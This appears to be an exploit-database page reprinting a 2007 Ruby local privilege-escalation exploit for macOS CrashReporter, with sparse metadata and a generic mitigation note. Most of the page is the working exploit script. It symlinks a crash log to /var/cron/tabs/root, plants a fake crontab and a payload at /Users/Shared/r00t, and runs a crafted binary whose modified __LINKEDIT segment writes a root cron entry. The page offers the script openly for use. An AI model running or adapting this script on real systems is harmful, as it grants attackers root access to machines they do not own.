- exploit.company

vendor:

by:

Kevin Finisterre, Lance M. Havok

N/A

CVSS

N/A

The given Ruby script is an exploit that escalates privileges on a macOS system by exploiting a vulnerability in CrashReporter. The exploit involves creating a symlink to a known program crash log file, creating a program with a modified __LINKEDIT segment, running the fake program to crash and create a file at /var/cron/tabs/root, and then […]

CWE

Product Name:

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested: macOS

2007

Mitigation:

To mitigate this vulnerability, users should ensure that their systems are up to date with the latest security patches. Additionally, users should regularly monitor their system logs for any suspicious activity.

Source

Exploit-DB raw data:

#!/usr/bin/ruby
# Copyright (c) 2007 Kevin Finisterre <kf_lists [at] digitalmunition.com>
#                    Lance M. Havok   <lmh [at] info-pull.com>
# All pwnage reserved.
#
# 1) Stop crashdump from writing to ~/Library/Logs via chmod 000 ~/Library/Logs/CrashReporter
# 2) Make symlink to /Library/Logs/CrashReporter/knownprog.crash.log
# 3) Create a program with a modified __LINKEDIT segment that influences crashreporter output 
#
# 0000320: 3800 0000 5f5f 4c49 4e4b 4544 4954 0000  8...__LINKEDIT..
# 0000330: 0000 0000 0040 0000 0010 0000 0030 0000  .....@.......0..
# 0000340: 2004 0000 0300 0000 0100 0000 0000 0000   ...............
# 0000350: 0400 0000 0e00 0000 1c00 0000 0c00 0000  ................
# 0000360: 2f75 7372 2f6c 6962 2f64 796c 6400 0000  /usr/lib/dyld...
# 0000370: 0c00 0000 3400 0000 1800 0000 68b7 9b45  ....4.......h..E
# 0000380: 0403 5800 0000 0100 0d0a 2a20 2a20 2a20  ..X.......* * * 
# 0000390: 2a20 2a20 2f74 6d70 2f78 0d0a 2e64 796c  * * /tmp/x...dyl
# 00003a0: 6962 0000 0200 0000 1800 0000 0030 0000  ib...........0..
#
# 4) Run the fake program which will crash and create /var/cron/tabs/root
# 5) Sleep and then create a legit crontab to refresh cron
 
SYMLINK_PATH  = "/Library/Logs/CrashReporter/vuln.crash.log"

PWNERCYCLE    = "ln -s /var/cron/tabs/root #{SYMLINK_PATH};"    +
                "chmod 000 ~/Library/Logs/CrashReporter/;"      +
                "crontab /tmp/fakecron;"                        +
                "chmod +x /Users/Shared/r00t; sleep 61; ./vuln;"

def escalate()
  puts "++ Fixing up a fake crontab"
  fakecron = File.new("/tmp/fakecron", "w")
  fakecron.print("* * * * * /usr/bin/id > /tmp/USERCRON\n")
  fakecron.close
  tmp_ex = File.new("/Users/Shared/r00t", "w")
  tmp_ex.print("/usr/bin/id > /tmp/CRASHREPOWNED\n")
  tmp_ex.close

  system PWNERCYCLE
end

escalate()

# milw0rm.com [2007-01-29]